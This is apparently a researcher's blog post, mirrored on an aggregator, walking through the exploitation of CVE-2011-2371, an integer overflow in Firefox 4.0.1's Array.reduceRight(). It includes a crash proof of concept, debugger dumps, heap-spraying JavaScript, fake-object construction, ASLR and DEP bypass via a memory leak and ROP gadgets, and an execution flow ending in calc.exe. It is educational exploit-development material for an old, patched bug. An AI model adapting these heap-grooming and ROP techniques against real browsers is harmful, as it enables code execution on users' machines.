Browser Exploitation: Firefox Integer Overflow – CVE-2011-2371
2022-7-21 16:37:48 Author: voidsec.com(查看原文) 阅读量:68 收藏

Reading Time: 20 minutes

In case you’re wondering why I’m not posting as regularly as before, with the new year, I’ve finally transitioned into a fully offensive vulnerability research and exploit development role at Exodus Intelligence that fulfilled my career dream (BTW, we’re currently hiring). In the last couple of months, I’ve worked on some exciting and challenging bugs. Hopefully, these bugs will be featured on my blog post as soon as I am allowed to share them and after the vendors issue a patch.

Intro

Last year I took Corelan’s Advanced Exploitation Class (a course that I highly recommend) which focuses on Windows heap exploitation and modern heap-related vulnerabilities: Use After Free, Type Confusion bugs, Memory Leaks etc. To practice a bit, and before I’ll attend SANS 760, I’ve decided to dive into the exploitation of a pretty old Firefox vulnerability, namely CVE-2011-2371.

I’ve always wanted to “play” a bit with browser exploitation, even if it’s out of my comfort zone; it’s the second time I’m targeting browsers and the first time I’m dealing with Firefox. Exploiting CVE-2011-2371, despite being an old vulnerability, it’s a didactic and interesting way to showcase some vulnerabilities’ class and an approachable exploit.

Instead of building my exploit by looking at Metasploit’s module, I’ve decided to start from scratch from the PoC shared by the two researchers. In general, when looking at complex vulnerabilities, I do not recommend looking at finished exploits because they usually lack the context that led to certain exploit design choices and familiarity with the target codebase. Plus, I wanted to do things right and understand all the nuances.

I’ve exploited this vulnerability on Windows 7 x86 on Firefox v.4.0.1 with ASLR, and DEP enabled. I’ve taken some detours and different approaches from the standard exploitation methods used by at the time exploit writers and from the Metasploit module.

As a reference metric: root cause analysis, exploit development and blog post writing took me between 60-80 hours. The complete exploit code can be found on my GitHub; it is heavily commented in case this blog post is not enough 😊.

The vulnerability was discovered by Chris Rohlf and Yan Ivnitskiy in 2011; it is an Integer overflow in the Array.reduceRight() method, affecting various Mozilla components:

  • Firefox before 3.6.18 and 4.x through 4.0.1
  • Thunderbird before 3.1.11
  • SeaMonkey through 2.0.14

The vulnerability allowed remote attackers to execute arbitrary code via a crafted long JavaScript Array object.

Firefox Codebase

The source code of Firefox v.4.0.1 can be downloaded from here.

Looking at the source code, the following metrics can be extracted (only C++-related files have been examined):

  • Size on disk: 405 MB
  • Lines: 4.803.826
    • Code: 2.641.994
    • Comments: 1.031.905
    • Inactive: 447.009
    • Pre-processor: 230.762
    • Blank: 580.853
  • Files: 11.738
  • Classes: 13.634
  • Functions: 128.810

Browsers are beautiful and complex puzzles of code, no wonder why in such a vast codebase, there are bugs.

Root Cause Analysis

Reading the bug report, it was clear that, in order to trigger the vulnerability, the PoC has to:

  1. Create an Array object.
  2. Set the newly created array length to MAX_UINT-1.
  3. Call the reduceRight() method on the array.

Proof of Concept

As mentioned in the intro, I’ve started investigating from the PoC shared by the original researchers:

<html>
<body>
<script>
    /*
       Firefox Array.reduceRight() - CVE-2011-2371 PoC
   */

    arr = new Array;
    arr.length = 0x80100000;
    /* 
        10000000 00010000 00000000 00000000
       int32=-2146435072, uint32=2148532224
    */

    callback = function func(prev, current, index, array) {
        current[0] = 0x41424344;
    }

    try {
        arr.reduceRight(callback, 1, 2, 3);
    } catch (e) {
    }
</script>
</body>
</html>

Loading the PoC in Firefox, we can clearly see it causing an Access Violation exception in the mozjs.dll:

Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Mozilla Firefox\mozjs.dll - 
eax=04e90230 ebx=0495cf00 ecx=800fffff edx=02d69000 esi=001bcae8 edi=04e90208
eip=69f60be1 esp=001bca50 ebp=001bca9c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mozjs!JS_FreeArenaPool+0x15e1:
69f60be1 8b14c8          mov     edx,dword ptr [eax+ecx*8] ds:0023:05690228=????????

Where the mov edx,dword ptr [eax+ecx*8] operation resulted in a value that points to an invalid memory region.

Array.reduceRight 101

The PoC code above firstly sets the array object length to a long value (handled as an unsigned integer), then it calls the reduceRight() method on the array.

According to Mozilla’s documentation:

The reduceRight() method applies a function against an accumulator and each value of the array (from right-to-left) to reduce it to a single value.

From the signature of the reduceRight() method (arr.reduceRight(callback,[initialValue])) we can see that it takes two parameters: callback() and initialValue.
The callback() parameter is a function that will be executed on each elements of the array, while the initialValue is a value used as accumulator (it is used as an argument of the callback() function).

The callback() function (function(previousValue, currentValue, index, array)) takes four arguments:

  1. previousValue: the value returned during the last invocation of the callback() function or the initialValue if present.
  2. currentValue: the element being processed in the array.
  3. index: is the index of the current element being processed in the array.
  4. The array object on which the reduceRight() method was called upon.

reduceRight Implementation

Looking at the source code implementing the array_reduceRight() function, file mozilla-2.0\js\src\jsarray.cpp – line 2929, we can see that the execution is immediately transferred to the array_extra() function with the REDUCE_RIGHT argument.

static JSBool
array_reduceRight(JSContext *cx, uintN argc, Value *vp)
{
    return array_extra(cx, REDUCE_RIGHT, argc, vp);
}

array_extra() function

The array_extra() function takes four parameters array_extra(JSContext *cx, ArrayExtraMode mode, uintN argc, Value *vp); the last two parameters are the last two arguments of the callback() function. array_extra() performs various checks and, at some point, the array length is used to set the start variable:

  • File mozilla-2.0\js\src\jsarray.cpp – Line 2771
jsint start = 0, end = length, step = 1;

  switch (mode) {
    case REDUCE_RIGHT:
      start = length - 1, end = -1, step = -1;

It’s worth to note that, while the length variable is of type jsuint (unsigned integer), the start variable is of type jsint (signed integer).

GetElement() function

Later on, the value in the start variable is assigned to the signed integer i variable and then passed to the GetElement() function.

  • File mozilla-2.0\js\src\jsarray.cpp – Line 356
/*
 * If the property at the given index exists, get its value into location
 * pointed by vp and set *hole to false. Otherwise set *hole to true and *vp
 * to JSVAL_VOID. This function assumes that the location pointed by vp is
 * properly rooted and can be used as GC-protected storage for temporaries.
 */
static JSBool
GetElement(JSContext *cx, JSObject *obj, jsdouble index, JSBool *hole, Value *vp)
{
    JS_ASSERT(index >= 0);
    if (obj->isDenseArray() && index < obj->getDenseArrayCapacity() &&
        !(*vp = obj->getDenseArrayElement(uint32(index))).isMagic(JS_ARRAY_HOLE)) {
        *hole = JS_FALSE;
        return JS_TRUE;
    }
    if (obj->isArguments() &&
        index < obj->getArgsInitialLength() &&
        !(*vp = obj->getArgsElement(uint32(index))).isMagic(JS_ARGS_HOLE)) {
        *hole = JS_FALSE;
        JSStackFrame *fp = (JSStackFrame *)obj->getPrivate();
        if (fp != JS_ARGUMENTS_OBJECT_ON_TRACE) {
            if (fp)
                *vp = fp->canonicalActualArg(index);
            return JS_TRUE;
        }
    }

    AutoIdRooter idr(cx);

    *hole = JS_FALSE;
    if (!IndexToId(cx, obj, index, hole, idr.addr()))
        return JS_FALSE;
    if (*hole) {
        vp->setUndefined();
        return JS_TRUE;
    }

    JSObject *obj2;
    JSProperty *prop;
    if (!obj->lookupProperty(cx, idr.id(), &obj2, &prop))
        return JS_FALSE;
    if (!prop) {
        *hole = JS_TRUE;
        vp->setUndefined();
    } else {
        if (!obj->getProperty(cx, idr.id(), vp))
            return JS_FALSE;
        *hole = JS_FALSE;
    }
    return JS_TRUE;
}

Unfortunately, the GetElement() function does not prevent us to use a negative index as the JS_ASSERT() condition is evaluated only on Firefox debug builds. After couple more function calls, the GetElement() function will perform the following checks:

  • Verify with the isDenseArray() function if the JSObject *obj object is an array.
  • Verify if the index argument is not bigger than the capacity of the array (this condition will evaluate to True if the index is a negative value).

getDenseArrayElement() function

The getDenseArrayElement() function call the getSlot() method and returns the slot to the caller, as can be seen from the following code snippet:

  • File mozilla-2.0\js\src\jsobj.h – Line 686
jsobj.h
const js::Value &getSlot(uintN slot) const {
  JS_ASSERT(slot < capacity);
  return slots[slot];
}

The slot variable is nothing more than a pointer to the js::Value object.

jsval_layout union

The js::Value object is a wrapper for the jsval_layout union, defined at:

  • File mozilla-2.0\js\src\jsval.h – Line 274
#if defined(IS_LITTLE_ENDIAN)
# if JS_BITS_PER_WORD == 32
typedef union jsval_layout
{
    uint64 asBits;
    struct {
        union {
            int32          i32;
            uint32         u32;
            JSBool         boo;
            JSString       *str;
            JSObject       *obj;
            void           *ptr;
            JSWhyMagic     why;
            jsuword        word;
        } payload;
        JSValueTag tag;
    } s;
    double asDouble;
    void *asPtr;
} jsval_layout;
[Truncated]

This union defines every JavaScript type’s structure; for example, looking at a string object in memory, we find the following layout: | JSString* | JSValueTag |.

The first half of this layout stores a pointer to a JSString object, while the second half is a tag used to identify the value type.

A list of all the valid tags can be found in: mozilla-2.0\js\src\jsval.h – Line 186.

Every time the getDenseArrayElement() method is called, the slot is returned to the caller: *vp=obj->getDenseArrayElement(uint32(index))

Since we can specify the index, we can try to read bytes as if they were part of the jsval_layout union. Doing so, a pointer is returned, either crashing the application if accessing an invalid memory location or reading sizeof(js:Value) bytes. The returned bytes are then stored in the location pointed by vp.

Memory Leak

From the previous section, we were able to understand that it is possible to leak sizeof(js:Value) bytes of memory.

Looking at the content of the registers and stack at the moment of the crash, we can see that there are some interesting pointers to the mozjs.dll and, a couple of addresses before that, pointers to xul.dll.

  • Stack:
0:000> dps(esp)

004ac790  004ac898
004ac794  004a027f
004ac798  800fffff
004ac79c  ffffffff
004ac7a0  05170d80
004ac7a4  68fdc892 mozjs!js_NextActiveContext+0x1b2
004ac7a8  004ac898
004ac7ac  68fd5c35 mozjs!JS_FreeArenaPool+0x6635
004ac7b0  68fd5cb2 mozjs!JS_FreeArenaPool+0x66b2
004ac7b4  004ac7dc
004ac7b8  00400000
004ac7bc  c1dffc00
004ac7c0  062f2ae0
004ac7c4  68fd5f90 mozjs!JS_FreeArenaPool+0x6990
004ac7c8  03ca0060
004ac7cc  034030a0
004ac7d0  800fffff
004ac7d4  06460208
004ac7d8  03ca0070
004ac7dc  06403658
004ac7e0  ffffffff
004ac7e4  ffffffff
004ac7e8  034030a0
004ac7ec  6904d0a5 mozjs!JS_vsprintf_append+0xc5
004ac7f0  034757c0
004ac7f4  80100000
004ac7f8  00400000
004ac7fc  c1dffc00
004ac800  00000000
004ac804  ffff0002
004ac808  06460208
004ac80c  ffff0007
  • Registers:
0:000> r

eax=06460230 ebx=062f2ae0 ecx=800fffff edx=03369000 esi=004ac828 edi=06460208
eip=68fd0be1 esp=004ac790 ebp=004ac7dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
:
68fd0be1 8b14c8          mov     edx,dword ptr [eax+ecx*8] ds:0023:06c60228=????????

0:000> dd @eax-40

064601f0  00000000 ffff0002 00000000 ffff0002
06460200  00000000 ffff0002 69175cac 69175fb0
06460210  00000000 ffffffff 00000000 03403208
06460220  034030a0 80100000 00000008 06460230
06460230  00000000 ffff0004 00000000 ffff0004
06460240  00000000 ffff0004 00000000 ffff0004
06460250  00000000 ffff0004 00000000 ffff0004
06460260  00000000 ffff0004 00000000 ffff0004

0:000> dps(@eax-40)

064601f0  00000000
064601f4  ffff0002
064601f8  00000000
064601fc  ffff0002
06460200  00000000
06460204  ffff0002
06460208  69175cac mozjs!JSObjectMap::sharedNonNative
0646020c  69175fb0 mozjs!JSCrossCompartmentWrapper::singleton+0x258
06460210  00000000
06460214  ffffffff
06460218  00000000
0646021c  03403208
06460220  034030a0
06460224  80100000
06460228  00000008
0646022c  06460230
06460230  00000000
06460234  ffff0004
06460238  00000000
0646023c  ffff0004
06460240  00000000
06460244  ffff0004
06460248  00000000
0646024c  ffff0004
06460250  00000000
06460254  ffff0004
06460258  00000000
0646025c  ffff0004
06460260  00000000
06460264  ffff0004
06460268  00000000
0646026c  ffff0004

The EAX register is pointing to an array of JavaScript values while the ECX register is holding the arr.length value we’ve previously provided.

These pointers will be used to bypass ASLR, so we need to find a reliable way to retrieve and store them.

In order to leak these pointers, we need to “fiddle around” with the negative index value. We can control the content of the ECX register and we know that the faulting operation is the following one: mov edx,dword ptr [eax+ecx*8] . We just need to update the ECX register and thus the arr.length value to reach the pointers we are interested to leak.

Exercise: before reading further, can you come up with the right index value? The right value will have to “counter” the [eax+ecx*8] operation.

Specifically, we have to find a value that, once decremented by 1, multiplied by 8 and then added to the EAX register, will retrieve one of these pointers. Then, we must convert the leaked raw bytes back to valid pointers (endianness).

The correct index value is 0xFFFFFFFC; I’ve then used the JSPack library to handle the correct endianness and conversion between different types.

Heap Spraying

In order to place a fake JS object in memory, we need the two following steps:

  1. Control the memory allocations to place our object in a predictable place and with a predictable memory layout.
  2. Craft our fake JS object in a way that can “trick” Firefox into treating it as a valid one.

During the usage of the browser, the heap is mainly comprised of allocated chunks and freed ones. To construct our memory layout, we’ll have to fill up all the “holes” and, only after that process, set up our fake object.

To fill up all the “holes” I’ve chosen to use Uint32Arrays objects. The main reasoning behind this choice is that this type of objects is pretty simple and does not have a header (in contrast with a common array).

To fill the “holes” is enough to “over allocate” arrays with a size of 512 bytes (remember, as the Uint32Arrays objects store 4-bytes integers, we’ve to allocate arrays of size 512/4=128)

// Performing the heap spraying, filling up all the "holes" in the heap
console.log("[>] Performing heap spraying...");
var junk_array = [];    // declaring junk_array needed to "fill the holes"
for (var i = 0; i < 300; i++) {    // allocating 300 arrays
    junk_array[i] = new Uint32Array(128);   // each one of size 128
    for (var j = 0; j < 128; j++) {
        junk_array[i][j] = 0x6B6E756A;  // setting each element to "junk"
    }
}

It is worth mentioning that both the number of allocations and the size of the allocated chunks are set to absolutely arbitrary values that I’ve determined through multiple browser runs while tracking the heap consumption.

Faking a JS Object

After “filling the holes”, we have to set up two contiguous arrays that later will become our fake JS object.

The main problem we have to deal with is that we do not know where these arrays are located in memory. We need to pinpoint their location as the first field of our fake JS object has to be a pointer to a location under our control and where we can set up a fake vtable.

vtable

A virtual table is a lookup table of functions used to resolve function calls dynamically.
Virtual functions are member functions that can be overridden in a derived class. The way C++ achieves this is by the compiler creating a vtable for each class. The vtable is essentially a table of function pointers, each one pointing to a different virtual function. When an object is created, the first member variable is a pointer to the vtable for that particular class, called VPTR. When a virtual function is called, the process walks the VPTR and calls the virtual function at the appropriate offset.

Array Reallocation

One of the tricks used to overcome this situation is to force the reallocation of an array. When we re-allocate an array, the JS engine will find a new suitable location in memory and copy all the array elements into this new position. After that, it updates the array header, pointing it to the new location (the array header does not move with its elements).

If we can find a way to access the header of the re-allocated array, we won’t have any problem locating it and creating our fake JS object.

To do so, we can set up two contiguous arrays. We use the first array to leak the mozjs.dll pointers, then we re-allocate it and use the 2nd array to get the pointer to the first re-allocated array elements.

Array Reallocation Setup

    1. Create an array array1.
    2. Create a second array array2.
    3. Call the reduceRight method on array1 to leak the mozjs.dll pointers.
    4. Over allocate objects to fill the “holes” in the heap; any further allocation should be contiguous in memory.
    5. Create a third array array3.
    6. Resize array1, forcing the JS engine to re-allocate it. The array will be placed after the array3 that we’ve just set up (since we have previously filled any available free chunks).
    7. At this point array3 and array1 should be adjacent and have the following layout in memory: | array3 | array 1 |
    8. Call the reduceRight method on array2 to leak the pointer in the header of array1, disclosing its new location in memory.

Creating a fake JS object

To create a fake JS object, we must rebuild the structure of a valid JS object in memory. We can set the content of the last elements of our array3 array to hold:

  • a pointer we control.
  • the JSVAL_TAG_OBJECT (value 0xFFFF0007).

As a pointer under our control, we use the pointer of the re-allocated array1 array. Before it can serve us, we have to properly decrement it to access a memory location under our control. Specifically, a memory location in the array3 array where we can place our fake vtable.

As we have decided to use the last two elements of the array3 array, the code to create our fake JavaScript object is something along this line:

array3[126] = reloc_array1_ptr - (4 * 4);  // points to array3[125], where will be the fake vtable; (elem size * n elements)
array3[127] = 0xFFFF0007;   // JSVAL_TAG_OBJECT 

Locating the vtable

Before moving further with the exploitation part, we must locate the exact memory address where the vtable is supposed to be. To do so, we will:

  • Set some elements of the array3 array with unique values (pseudo-random patterns).
  • Look where Firefox crash while accessing our fake vtable.
  • Replacing the specific unique value with an address we control (e.g., the start of array3).

The memory layout of our array3 array should be something along the following schema:

The first element of the array3 array is expected to hold a pointer to the setElem() function which will be later triggered.

Exploitation

Bypassing ASLR

All the public exploits out of there, including Metasploit, defeat ASLR via the well-known Java applet trick: Java, by default, imports the MSVCR71.dll that is not protected by ASLR and therefore always “sit” at the same base address.

Instead of abusing Java to defeat ASLR, which has the downside of relying on the presence of Java on the target machine, I’ve used the memory leak primitive we already have. Since we have a way to leak arbitrary memory, and specifically, we were able to recover a pointer into mozjs.dll, we can calculate the offset between our pointer and the base address of the module to create a “dynamic” ROP chain.

leaked_pointer-base_address=offset
leak_pointer-offset=base_address

Another viable solution I was able to think of was to fake a JS string object and read an arbitrary number of bytes from it. While this technique can be used to target multiple versions of Firefox, it is more complex and, exploitation-wise, more time-consuming to pull than the one I’ve chosen.

Bypassing DEP

Once we get the base address of the mozjs.dll, we can start crafting our ROP chain to bypass DEP. The first gadget must be placed at the setElem Ptr location and must pivot the execution flow from the stack to the heap.

Why? Because ROP gadgets perform RET instructions. The execution flow is expected to “pick up” the next gadget from the stack, but we are neither in the stack nor control it. To deal with this problem, we have to find a gadget able to replace the value present in the ESP register with a location in the heap we control.

The EBP register, once the execution flow is transferred by our fake vtable to the setElem Ptr location, points to array3[123] ; while the EDI register is pointing near the end of the “junk” array and can became a good candidate if we only find a way to load its content into the ESP register.

To find some gadgets that can load in the ESP register the value present in the EBP register, I’ve used the always green mona.py: !mona rop -m “mozjs” -rva.

Many gadgets can fulfil our needs, but we should also find the smallest gadget possible that pollutes other registers/stack the least. Initially, I’ve decided to use the following one:

# MOV ESP,EBP # POP EBP # RETN    ** [mozjs.dll] **   |  null {PAGE_EXECUTE_READ}

Unfortunately, the above gadget has the following problem: once the RET instruction is executed, the following instruction is expected to take place in the space of our vtable Ptr, a space that, due to DEP is not executable.

After spending a great amount of time looking into different gadgets from both mozjs.dll and xul.dll, the only option I was left was to add an offset to the EBP register before it is loaded into ESP.

Luckily, there was a gadget that fits this purpose:

# ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN    ** [mozjs.dll] **   |   {PAGE_EXECUTE_READ}

This gadget adds the EBX register to EBP before loading the resulting value into ESP.

The EBX register holds the current index current[0]=1, a value that is internally multiplied by 2 and incremented by 1. Fiddling around with the index, I’ve concluded that a value of -245 will result in going back 489 bytes (2*(-245)+1) from the location pointed by the EBP register.

A downside of having an odd pointer is not being aligned with a specific element of the array but instead, the pointer will point in the “middle” of array[2] and array[3] . To realign the stack pointer to the array elements I’ve used the following gadget: # INC ESP # RETN ** [mozjs.dll] ** | {PAGE_EXECUTE_READ}; it will increment the ESP register by one byte and end up where our ROP chain start.

Execution Flow

With the correct memory layout set upped, the execution flow is the following:

  1. Call the reduceRight() method upon array1.
  2. The reduceRight()method executes the callback function (named “trigger”).
  3. trigger() function executes the following assignment: current[-245] = 1; that in turns trigger the setElem() method of the fake object (located in array3[126]- array3[127]).
  4. In order to execute the setElem() method, a lookup into the fake vtable (located at array3[124]) is performed. The fake vtable returns a pointer to the supposed setElem() method and the execution flow is transferred to that pointer (located at array3[0]).
  5. Instead of the setElem() method’s logic, a stack to heap gadget is executed and the ESP register is loaded with a value pointing between array3[2] and array3[3].
  6. In this location, another gadget is present. It will increase the ESP register, re-aligning the stack-frame to an element of the array3 array.
  7. At this point the ROP chain (located at array3[4]) kick in and, trough a call to the VirtualAlloc() function, it will make the following section executable.
  8. The shellcode is now executed; it will execute calc.exe.
  9. At the end of the shellcode, the execution flow continues, trying to execute instructions from the elements of array3 array. Since I didn’t perform any restoration of the previous stack frame, and the elements are filled with “random” bytes, they will likely result in “garbage” opcodes crashing Firefox.

Proof of Concept

If you did everything correctly and my explanation wasn’t too messy, you should be able to obtain a reliable code execution, as demonstrated by the following video:

The complete, and heavily commented, exploit code is available on my GitHub.

Resources & References


文章来源: https://voidsec.com/browser-exploitation-firefox-cve-2011-2371/
如有侵权请联系:admin#unsafe.sh